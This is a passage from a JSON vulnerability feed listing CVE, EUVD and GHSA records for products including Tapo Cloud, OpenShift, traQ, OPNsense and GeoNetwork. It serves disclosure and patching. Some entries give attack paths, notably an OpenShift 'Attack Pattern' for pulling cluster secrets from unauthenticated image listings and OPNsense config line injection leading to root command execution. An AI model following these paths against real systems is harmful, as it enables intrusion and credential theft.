service\navailability.","cvss":8.3,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.3,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://www.tp-link.com/us/support/faq/5370/"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T20:18:05","euvd":{"id":"EUVD-2026-116270","description":"The Tapo\nCloud MQTT broker contains a broken access control vulnerability in a proxy\ntopic used by authenticated Tapo devices to request service tokens. The broker\ndoes not verify that the device ID supplied in a proxy request belongs to the\nauthenticated device. An attacker who owns a Tapo device and knows another\ndevice's ID may obtain a device token scoped to the target device and use it to\nupload attacker-controlled content to the target user's Tapo Cloud storage. The\ncontent may then be presented in the Tapo app as a legitimate event.\n\n\n\n\n\nSuccessful\nexploitation may allow an attacker to upload attacker-controlled content that\nis presented to a target user as a legitimate Tapo event, retrieve internal\nservice information through crafted proxy requests, or abuse Tapo Cloud\noutbound request capability in activity that could affect service\navailability.","published_time":"2026-11-03T19:41:03","cvss":8.3,"cvss_version":"4.0","epss":0.0,"assigner":"TPLink","references":["https://www.tp-link.com/us/support/faq/5370/"],"products":["Tapo Cloud Service"],"vendors":["TP-Link Systems Inc."]},"ghsa":null},{"cve_id":"CVE-2026-82976","summary":"A flaw was found in the image-customization-controller used in OpenShift's bare metal provisioning stack. The controller registers an HTTP file server on port 8084 with no authentication. The custom imageFileSystem implementation exposes a browsable HTML directory listing of all registered images at the root path. The only access control on per-host images is the random UUID filename; the directory listing discloses those UUIDs to any caller on the provisioning network. Each served image embeds an Ignition config containing the base64-encoded cluster pull secret, optional IRONIC_RAMDISK_SSH_KEY, proxy settings, and per-host NetworkManager keyfiles. An adjacent network attacker can enumerate all image UUIDs via directory listing, download any image, extract the embedded Ignition config, and recover the cluster pull secret and SSH key.\n\n### Evidence\n**pkg/imagehandler/imagefilesystem.go — root directory is browsable and enumerates all UUID image names**\n```go\nfunc (f *imageFileSystem) Readdir(n int) ([]fs.FileInfo, error) {\n    f.mu.Lock()\n    defer f.mu.Unlock()\n    result := []fs.FileInfo{}\n    for _, im := range f.images {\n        result = append(result, im)\n    }\n    return result, nil\n}\n\nfunc (f *imageFileSystem) Open(name string) (http.File, error) {\n    f.log.Info(\"Open\", \"path\", name)\n    if name == \"/\" {\n        return f, nil\n    }\n    ...\n```\n\n**cmd/controller/main.go — file server bound on all interfaces without auth or TLS**\n```go\nhttp.Handle(\"/\", http.FileServer(imageServer.FileSystem()))\n\ngo func() {\n    server := &http.Server{\n        Addr:              imagesBindAddr,   // default \":8084\"\n        ReadHeaderTimeout: 5 * time.Second,\n    }\n    err := server.ListenAndServe()\n```\n\n**pkg/ignition/service_config.go:94-100 — pull secret is embedded in every served image**\n```go\nfunc (b *ignitionBuilder) authFile() ignition_config_types_32.File {\n    source := \"data:;base64,\" + strings.TrimSpace(b.ironicAgentPullSecret)\n    return ignition_config_types_32.File{\n        Node: ignition_config_types_32.Node{Path: \"/etc/authfile.json\"},\n        ...\n```\n\n### Attack Pattern\nAdjacent provisioning-network client → GET / lists UUID image names → download ISO/initramfs → extract embedded Ignition → recover cluster pull secret and SSH key.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://access.redhat.com/security/cve/CVE-2026-82976","https://bugzilla.redhat.com/show_bug.cgi?id=2526334","https://github.com/openshift/image-customization-controller","https://redhat.atlassian.net/browse/OCPBUGS-105396"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:10","euvd":{"id":"EUVD-2026-116131","description":"A flaw was found in the image-customization-controller used in OpenShift's bare metal provisioning stack. The controller registers an HTTP file server on port 8084 with no authentication. The custom imageFileSystem implementation exposes a browsable HTML directory listing of all registered images at the root path. The only access control on per-host images is the random UUID filename; the directory listing discloses those UUIDs to any caller on the provisioning network. Each served image embeds an Ignition config containing the base64-encoded cluster pull secret, optional IRONIC_RAMDISK_SSH_KEY, proxy settings, and per-host NetworkManager keyfiles. An adjacent network attacker can enumerate all image UUIDs via directory listing, download any image, extract the embedded Ignition config, and recover the cluster pull secret and SSH key.\n\n### Evidence\n**pkg/imagehandler/imagefilesystem.go — root directory is browsable and enumerates all UUID image names**\n```go\nfunc (f *imageFileSystem) Readdir(n int) ([]fs.FileInfo, error) {\n    f.mu.Lock()\n    defer f.mu.Unlock()\n    result := []fs.FileInfo{}\n    for _, im := range f.images {\n        result = append(result, im)\n    }\n    return result, nil\n}\n\nfunc (f *imageFileSystem) Open(name string) (http.File, error) {\n    f.log.Info(\"Open\", \"path\", name)\n    if name == \"/\" {\n        return f, nil\n    }\n    ...\n```\n\n**cmd/controller/main.go — file server bound on all interfaces without auth or TLS**\n```go\nhttp.Handle(\"/\", http.FileServer(imageServer.FileSystem()))\n\ngo func() {\n    server := &http.Server{\n        Addr:              imagesBindAddr,   // default \":8084\"\n        ReadHeaderTimeout: 5 * time.Second,\n    }\n    err := server.ListenAndServe()\n```\n\n**pkg/ignition/service_config.go:94-100 — pull secret is embedded in every served image**\n```go\nfunc (b *ignitionBuilder) authFile() ignition_config_types_32.File {\n    source := \"data:;base64,\" + strings.TrimSpace(b.ironicAgentPullSecret)\n    return ignition_config_types_32.File{\n        Node: ignition_config_types_32.Node{Path: \"/etc/authfile.json\"},\n        ...\n```\n\n### Attack Pattern\nAdjacent provisioning-network client → GET / lists UUID image names → download ISO/initramfs → extract embedded Ignition → recover cluster pull secret and SSH key.","published_time":"2026-11-03T18:36:24","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"redhat","references":["https://access.redhat.com/security/cve/CVE-2026-82976","https://bugzilla.redhat.com/show_bug.cgi?id=2526334","https://github.com/openshift/image-customization-controller","https://redhat.atlassian.net/browse/OCPBUGS-105396"],"products":[],"vendors":[]},"ghsa":null},{"cve_id":"CVE-2026-63198","summary":"traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, OAuth2 silent authorization requests using prompt=none with an empty or omitted scope parameter check prior consent against the empty requested scope set even though all scopes registered for the client become eligible for issuance. An attacker who controls an OAuth client capable of receiving authorization codes can target a user who previously consented to only some client scopes and obtain an access token containing broader registered scopes without additional consent. A user who has never consented to the client still receives consent_required. This issue is fixed in version 3.28.3.","cvss":7.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/traPtitech/traQ/commit/5510fe8aa9bb15fc4755c78792381dbb03d576c3","https://github.com/traPtitech/traQ/releases/tag/v3.28.3","https://github.com/traPtitech/traQ/security/advisories/GHSA-8cfq-jgf7-8m27"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:09","euvd":{"id":"EUVD-2026-116132","description":"traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, OAuth2 silent authorization requests using prompt=none with an empty or omitted scope parameter check prior consent against the empty requested scope set even though all scopes registered for the client become eligible for issuance. An attacker who controls an OAuth client capable of receiving authorization codes can target a user who previously consented to only some client scopes and obtain an access token containing broader registered scopes without additional consent. A user who has never consented to the client still receives consent_required. This issue is fixed in version 3.28.3.","published_time":"2026-11-03T18:38:35","cvss":7.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/traPtitech/traQ/security/advisories/GHSA-8cfq-jgf7-8m27","https://github.com/traPtitech/traQ/commit/5510fe8aa9bb15fc4755c78792381dbb03d576c3","https://github.com/traPtitech/traQ/releases/tag/v3.28.3"],"products":["traQ"],"vendors":["traPtitech"]},"ghsa":null},{"cve_id":"CVE-2026-63417","summary":"Logging Redactor is a Python library designed to redact sensitive data in logs based on regex patterns and / or dictionary keys. Prior to 0.0.7, personally identifiable information returned by custom object __str__ or __repr__ methods is not redacted when such non-primitive objects are logged, causing sensitive values to appear in logs that are expected to mask them. This issue is fixed in version 0.0.7.","cvss":8.2,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":null,"cvss_v4":8.2,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/armurox/loggingredactor/commit/361a528e56437b9c269e69f3863de4b3e568391b","https://github.com/armurox/loggingredactor/issues/12","https://github.com/armurox/loggingredactor/pull/15","https://github.com/armurox/loggingredactor/releases/tag/0.0.7","https://github.com/armurox/loggingredactor/security/advisories/GHSA-w7qv-268h-9h3f"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:09","euvd":{"id":"EUVD-2026-116117","description":"Logging Redactor is a Python library designed to redact sensitive data in logs based on regex patterns and / or dictionary keys. Prior to 0.0.7, personally identifiable information returned by custom object __str__ or __repr__ methods is not redacted when such non-primitive objects are logged, causing sensitive values to appear in logs that are expected to mask them. This issue is fixed in version 0.0.7.","published_time":"2026-11-03T18:21:15","cvss":8.2,"cvss_version":"4.0","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/armurox/loggingredactor/security/advisories/GHSA-w7qv-268h-9h3f","https://github.com/armurox/loggingredactor/issues/12","https://github.com/armurox/loggingredactor/pull/15","https://github.com/armurox/loggingredactor/commit/361a528e56437b9c269e69f3863de4b3e568391b","https://github.com/armurox/loggingredactor/releases/tag/0.0.7"],"products":["loggingredactor"],"vendors":["armurox"]},"ghsa":null},{"cve_id":"CVE-2026-63197","summary":"traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, instances configured with TRAQ_STORAGE_TYPE=local can return user-uploaded SVG or HTML content from the /files/{fileId} retrieval endpoint for direct browser rendering. An attacker with file-upload capability can provide crafted active content and induce another user to open its file URL, causing attacker-controlled JavaScript to execute in the victim's browser. This issue is fixed in version 3.28.3.","cvss":7.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/traPtitech/traQ/commit/3db29e7771661f6418d88d186d8ff7817f5d6b6e","https://github.com/traPtitech/traQ/releases/tag/v3.28.3","https://github.com/traPtitech/traQ/security/advisories/GHSA-p74g-f95m-7fx7"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:08","euvd":{"id":"EUVD-2026-116118","description":"traQ is a messenger application built for Digital Creators Club traP. Prior to 3.28.3, instances configured with TRAQ_STORAGE_TYPE=local can return user-uploaded SVG or HTML content from the /files/{fileId} retrieval endpoint for direct browser rendering. An attacker with file-upload capability can provide crafted active content and induce another user to open its file URL, causing attacker-controlled JavaScript to execute in the victim's browser. This issue is fixed in version 3.28.3.","published_time":"2026-11-03T18:26:21","cvss":7.3,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/traPtitech/traQ/security/advisories/GHSA-p74g-f95m-7fx7","https://github.com/traPtitech/traQ/commit/3db29e7771661f6418d88d186d8ff7817f5d6b6e","https://github.com/traPtitech/traQ/releases/tag/v3.28.3"],"products":["traQ"],"vendors":["traPtitech"]},"ghsa":null},{"cve_id":"CVE-2026-57154","summary":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1.","cvss":8.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293","https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7","https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:06","euvd":{"id":"EUVD-2026-116116","description":"OPNsense is a FreeBSD based firewall and routing platform. Prior to 26.1.11 and 26.4.1p1, authenticated Web UI or API users with delegated access to affected settings can submit CR or LF characters in fields expected to contain one line, causing generated privileged service configuration files to contain additional attacker-controlled directives or policy lines. The confirmed Dnsmasq path includes dhcp_boot.filename, dhcp_boot.servername, dhcp_boot.address, and dhcp_options.value, which are rendered into /usr/local/etc/dnsmasq.conf; access through page-services-dnsforwarder covers api/dnsmasq/*. Related affected fields span OpenVPN, DHCPv6, Unbound, IPsec, NTP, PPP or MPD, Monit, firewall, sudo, WebGUI, and System General configuration. Applying or restarting the affected service can alter behavior beyond the delegated setting, create service-side files, cross RBAC boundaries, or cause denial of service. Line injection through Monit mail password and adjacent Monit text fields into /usr/local/etc/monitrc demonstrated root command execution. Arbitrary shell command execution was not confirmed for the Dnsmasq path. This issue is fixed in versions 26.1.11 and 26.4.1p1.","published_time":"2026-11-03T18:10:28","cvss":8.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/opnsense/core/security/advisories/GHSA-fq94-cxvc-9r7w","https://github.com/opnsense/core/commit/52b18e67a9ec4596a64ac3a53f3aa102ced55293","https://github.com/opnsense/core/commit/6c3be9a11699879fe50aea1c30e50de5864601d7"],"products":["core"],"vendors":["OPNsense"]},"ghsa":null},{"cve_id":"CVE-2026-121652","summary":"Cross-site scripting (XSS) issue in AWS Amplify maplibre-gl-js-amplify before 4.0.3 might allow remote authenticated users to inject arbitrary web script or HTML via the (1) title, (2) address, or (3) place_name property in GeoJSON feature data rendered by popupRender, or the (4) geofenceId value rendered in AmplifyGeofenceControl.\n\n\n\nTo remediate this issue, users should upgrade to 4.0.3 or later.","cvss":4.8,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":5.4,"cvss_v4":4.8,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://aws.amazon.com/security/security-bulletins/2026-167-aws/","https://github.com/aws-amplify/maplibre-gl-js-amplify/releases/tag/v4.0.3","https://github.com/aws-amplify/maplibre-gl-js-amplify/security/advisories/GHSA-34v3-xxqp-g5g9"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:05","euvd":{"id":"EUVD-2026-116136","description":"Cross-site scripting (XSS) issue in AWS Amplify maplibre-gl-js-amplify before 4.0.3 might allow remote authenticated users to inject arbitrary web script or HTML via the (1) title, (2) address, or (3) place_name property in GeoJSON feature data rendered by popupRender, or the (4) geofenceId value rendered in AmplifyGeofenceControl.\n\n\n\nTo remediate this issue, users should upgrade to 4.0.3 or later.","published_time":"2026-11-03T18:42:27","cvss":4.8,"cvss_version":"4.0","epss":0.0,"assigner":"AMZN","references":["https://github.com/aws-amplify/maplibre-gl-js-amplify/releases/tag/v4.0.3","https://github.com/aws-amplify/maplibre-gl-js-amplify/security/advisories/GHSA-34v3-xxqp-g5g9","https://aws.amazon.com/security/security-bulletins/2026-167-aws/"],"products":["maplibre-gl-js-amplify"],"vendors":["aws"]},"ghsa":null},{"cve_id":"CVE-2026-39379","summary":"GeoNetwork is a catalog application to manage spatially referenced resources. From 3.0.0 until 4.2.15 and 4.4.10, requesting a nonexistent or unauthorized service URL can cause an error page to reflect attacker-controlled request content inside an AngularJS application without adequately neutralizing it for template evaluation. A remote attacker can induce a victim, including an administrator, to open a crafted link so the reflected value is evaluated as an AngularJS template expression. Combined with known AngularJS sandbox-escape techniques, this can execute arbitrary JavaScript in the victim's authenticated browser session, disclose information, or perform actions as the victim. This issue is fixed in versions 4.2.15 and 4.4.10.","cvss":7.1,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.1,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/geonetwork/core-geonetwork/commit/5cacdfaa6db88ef6787495b496a0871c0058b7f4","https://github.com/geonetwork/core-geonetwork/commit/dd99c2ffb642f89b8bf72bafd04d824c9fc0d0ef","https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.15","https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.10","https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2v4m-fw6c-g78f"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:05","euvd":{"id":"EUVD-2026-116141","description":"GeoNetwork is a catalog application to manage spatially referenced resources. From 3.0.0 until 4.2.15 and 4.4.10, requesting a nonexistent or unauthorized service URL can cause an error page to reflect attacker-controlled request content inside an AngularJS application without adequately neutralizing it for template evaluation. A remote attacker can induce a victim, including an administrator, to open a crafted link so the reflected value is evaluated as an AngularJS template expression. Combined with known AngularJS sandbox-escape techniques, this can execute arbitrary JavaScript in the victim's authenticated browser session, disclose information, or perform actions as the victim. This issue is fixed in versions 4.2.15 and 4.4.10.","published_time":"2026-11-03T18:46:29","cvss":7.1,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2v4m-fw6c-g78f","https://github.com/geonetwork/core-geonetwork/commit/5cacdfaa6db88ef6787495b496a0871c0058b7f4","https://github.com/geonetwork/core-geonetwork/commit/dd99c2ffb642f89b8bf72bafd04d824c9fc0d0ef","https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.15","https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.10"],"products":["core-geonetwork","core-geonetwork","core-geonetwork","core-geonetwork"],"vendors":["geonetwork"]},"ghsa":{"id":"GHSA-2v4m-fw6c-g78f","summary":"GeoNetwork has reflected XSS through client-side template injection","details":"### Summary\nIt is possible to craft a URL that causes GeoNetwork to reflect attacker-controlled content into an error page in a way that gets evaluated as a client-side template expression. Combined with known AngularJS sandbox-escape techniques, this can be used to execute arbitrary JavaScript in the victim's browser (reflected Cross-Site Scripting via client-side template injection).\n\n### Details\nWhen a user requests a service URL that does not exist or that they are not authorized to access, GeoNetwork shows an error page that reflects part of the original request back to the user without adequately neutralizing it for the context it is rendered in. Because this error page is an AngularJS application, attacker-controlled content in the reflected value can be interpreted as a template expression and evaluated once the page loads in the victim's browser, rather than being displayed as inert text.\n\n### Impact\nAn attacker can trick a user (including an administrator) into visiting a crafted link. The resulting script execution runs in the context of the victim's authenticated session and can be used to exfiltrate information or perform actions on the victim's behalf. For example, an attacker could inject a fake login form that looks identical to the legitimate GeoNetwork login page to harvest credentials.\n\nGeoNetwork 3.x and 4.0.x are archived/unmaintained and will not receive a fix for this issue. Instances running those lines should upgrade to a supported release (4.2.15 or later, or 4.4.10 or later).","published_time":"2026-07-01T17:56:51Z","modified_time":"2026-07-01T17:56:51Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:H/A:N"}],"affected":[{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.0.0"},{"last_affected":"3.12.12"}]}]},{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-alpha.1"},{"last_affected":"4.0.6"}]}]},{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0"},{"fixed":"4.2.15"}]}],"database_specific":{"last_known_affected_version_range":"<= 4.2.14"}},{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.0"},{"fixed":"4.4.10"}]}],"database_specific":{"last_known_affected_version_range":"<= 4.4.9"}}],"references":[{"type":"WEB","url":"https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-2v4m-fw6c-g78f"},{"type":"PACKAGE","url":"https://github.com/geonetwork/core-geonetwork"}],"cwe_ids":["CWE-1336","CWE-79"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-01T17:56:51Z"}},{"cve_id":"CVE-2026-46487","summary":"GeoNetwork is a catalog application to manage spatially referenced resources. From 4.0.0-alpha.1 until 4.2.16 and 4.4.11, the Elasticsearch-backed search proxy can skip GeoNetwork's access-control filter injection when a client request has an omitted query field. The request is then forwarded to Elasticsearch without group visibility, draft exclusion, record ownership, or portal-specific filtering. An unauthenticated remote attacker can use the affected public search API to retrieve the full indexed contents of metadata records that should not be publicly visible. This issue is fixed in versions 4.2.16 and 4.4.11.","cvss":7.5,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":7.5,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/geonetwork/core-geonetwork/commit/1916412d38999f2eff68bad2dfccd69340d20f3f","https://github.com/geonetwork/core-geonetwork/commit/6c756c63cd1fa942f3832d99c64380c69c5e8be9","https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.16","https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.11","https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-582q-v28r-7cxr"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:05","euvd":{"id":"EUVD-2026-116138","description":"GeoNetwork is a catalog application to manage spatially referenced resources. From 4.0.0-alpha.1 until 4.2.16 and 4.4.11, the Elasticsearch-backed search proxy can skip GeoNetwork's access-control filter injection when a client request has an omitted query field. The request is then forwarded to Elasticsearch without group visibility, draft exclusion, record ownership, or portal-specific filtering. An unauthenticated remote attacker can use the affected public search API to retrieve the full indexed contents of metadata records that should not be publicly visible. This issue is fixed in versions 4.2.16 and 4.4.11.","published_time":"2026-11-03T18:44:42","cvss":7.5,"cvss_version":"3.1","epss":0.0,"assigner":"GitHub_M","references":["https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-582q-v28r-7cxr","https://github.com/geonetwork/core-geonetwork/commit/1916412d38999f2eff68bad2dfccd69340d20f3f","https://github.com/geonetwork/core-geonetwork/commit/6c756c63cd1fa942f3832d99c64380c69c5e8be9","https://github.com/geonetwork/core-geonetwork/releases/tag/4.2.16","https://github.com/geonetwork/core-geonetwork/releases/tag/4.4.11"],"products":["core-geonetwork","core-geonetwork","core-geonetwork"],"vendors":["geonetwork"]},"ghsa":{"id":"GHSA-582q-v28r-7cxr","summary":"GeoNetwork has ACL bypass on Elasticsearch search when request body omits query field","details":"### Summary\nGeoNetwork's Elasticsearch-backed search API is responsible for injecting access-control and visibility filters into every request before it reaches the underlying Elasticsearch index. Under certain request conditions, that filtering step does not run, allowing an unauthenticated user to retrieve indexed metadata records that should be restricted, including records limited to specific groups.\n\n### Details\nThe search proxy layer forwards client-supplied search requests to Elasticsearch after adding GeoNetwork's own access-control and filter clauses. A flaw in how that filter-injection step is triggered means it can be skipped under certain conditions, so the affected request reaches Elasticsearch without the intended access restrictions applied.\n\n### Impact\nThis is an authorization bypass leading to information disclosure (CWE-862: Missing Authorization). The skipped filter step is responsible for enforcing several layers of access control at once: group-based record visibility, draft record exclusion, record ownership checks, and portal-specific filtering.\n\nAny public-facing GeoNetwork 4.x instance (4.0.0-alpha.1 through 4.4.10) is affected. An unauthenticated attacker can retrieve the full contents of metadata records that should not be publicly visible.","published_time":"2026-07-01T17:57:13Z","modified_time":"2026-07-01T17:57:13Z","withdrawn_time":null,"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"affected":[{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-alpha.1"},{"last_affected":"4.0.6-0"}]}]},{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.2.0"},{"fixed":"4.2.16"}]}],"database_specific":{"last_known_affected_version_range":"<= 4.2.15"}},{"package":{"ecosystem":"Maven","name":"org.geonetwork-opensource:geonetwork"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.4.0"},{"fixed":"4.4.11"}]}],"database_specific":{"last_known_affected_version_range":"<= 4.4.10-0"}}],"references":[{"type":"WEB","url":"https://github.com/geonetwork/core-geonetwork/security/advisories/GHSA-582q-v28r-7cxr"},{"type":"PACKAGE","url":"https://github.com/geonetwork/core-geonetwork"}],"cwe_ids":["CWE-862"],"github_severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-07-01T17:57:13Z"}},{"cve_id":"CVE-2026-121501","summary":"A vulnerability was determined in mathurvishal CloudClassroom-PHP-Project. The affected element is the function session_regenerate_id of the file loginlinkadmin.php. Executing a manipulation of the argument PHPSESSID can lead to session fixiation. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":2.1,"cvss_version":4.0,"cvss_v2":7.5,"cvss_v3":6.3,"cvss_v4":2.1,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://github.com/rmsbpro/Advisory/blob/main/session-fixation.md","https://vuldb.com/cve/CVE-2026-121501","https://vuldb.com/submit/1019357","https://vuldb.com/vuln/430283","https://vuldb.com/vuln/430283/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:04","euvd":{"id":"EUVD-2026-116143","description":"A vulnerability was determined in mathurvishal CloudClassroom-PHP-Project. The affected element is the function session_regenerate_id of the file loginlinkadmin.php. Executing a manipulation of the argument PHPSESSID can lead to session fixiation. The attack can be launched remotely. The exploit has been publicly disclosed and may be utilized. This product does not use versioning. This is why information about affected and unaffected releases are unavailable. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T19:00:21","cvss":5.3,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430283","https://vuldb.com/vuln/430283/cti","https://vuldb.com/cve/CVE-2026-121501","https://vuldb.com/submit/1019357","https://github.com/rmsbpro/Advisory/blob/main/session-fixation.md"],"products":["CloudClassroom-PHP-Project","CloudClassroom-PHP-Project","CloudClassroom-PHP-Project"],"vendors":["mathurvishal"]},"ghsa":null},{"cve_id":"CVE-2026-121382","summary":"A vulnerability was determined in Netcore NBR100V2 1.3.240614.030928. Affected by this issue is the function msg_aes_dec of the file /usr/bin/auto_ac. This manipulation causes integer overflow. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","cvss":7.7,"cvss_version":4.0,"cvss_v2":7.8,"cvss_v3":7.5,"cvss_v4":7.7,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://vuldb.com/cve/CVE-2026-121382","https://vuldb.com/submit/1018496","https://vuldb.com/vuln/430256","https://vuldb.com/vuln/430256/cti"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:01","euvd":{"id":"EUVD-2026-116139","description":"A vulnerability was determined in Netcore NBR100V2 1.3.240614.030928. Affected by this issue is the function msg_aes_dec of the file /usr/bin/auto_ac. This manipulation causes integer overflow. Remote exploitation of the attack is possible. The exploit has been publicly disclosed and may be utilized. The vendor was contacted early about this disclosure but did not respond in any way.","published_time":"2026-11-03T18:45:19","cvss":8.7,"cvss_version":"4.0","epss":0.0,"assigner":"VulDB","references":["https://vuldb.com/vuln/430256","https://vuldb.com/vuln/430256/cti","https://vuldb.com/cve/CVE-2026-121382","https://vuldb.com/submit/1018496"],"products":["NBR100V2"],"vendors":["Netcore"]},"ghsa":null},{"cve_id":"CVE-2026-120684","summary":"A memory-initialization flaw in the legacy GridFS file handling of the MongoDB C Driver can cause uninitialized process memory to be treated as valid file content and stored on the server. A database user holding ordinary write access to a shared storage area can arrange conditions under which an application later appends to such a file and writes that memory into records the same user is permitted to read, which may result in unintended disclosure of sensitive information from the application's process, including credentials.","cvss":6.0,"cvss_version":4.0,"cvss_v2":null,"cvss_v3":6.5,"cvss_v4":6.0,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://jira.mongodb.org/browse/CDRIVER-6508"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T19:18:00","euvd":{"id":"EUVD-2026-116134","description":"A memory-initialization flaw in the legacy GridFS file handling of the MongoDB C Driver can cause uninitialized process memory to be treated as valid file content and stored on the server. A database user holding ordinary write access to a shared storage area can arrange conditions under which an application later appends to such a file and writes that memory into records the same user is permitted to read, which may result in unintended disclosure of sensitive information from the application's process, including credentials.","published_time":"2026-11-03T18:40:42","cvss":6.0,"cvss_version":"4.0","epss":0.0,"assigner":"mongodb","references":["https://jira.mongodb.org/browse/CDRIVER-6508"],"products":["C Driver","C Driver"],"vendors":["MONGODB"]},"ghsa":null},{"cve_id":"CVE-2026-120953","summary":"A URI redirection weakness exists in the authentication component of the Atlas SQL JDBC Driver. During an interactive sign-in flow the driver accepts endpoint addresses supplied by the remote endpoint it is pointed at without validating their scheme, and passes the resulting address to the local default protocol handler. An unauthenticated remote party that controls the endpoint a user elects to connect to may cause an address of its choosing to be opened on the user's system; user interaction is 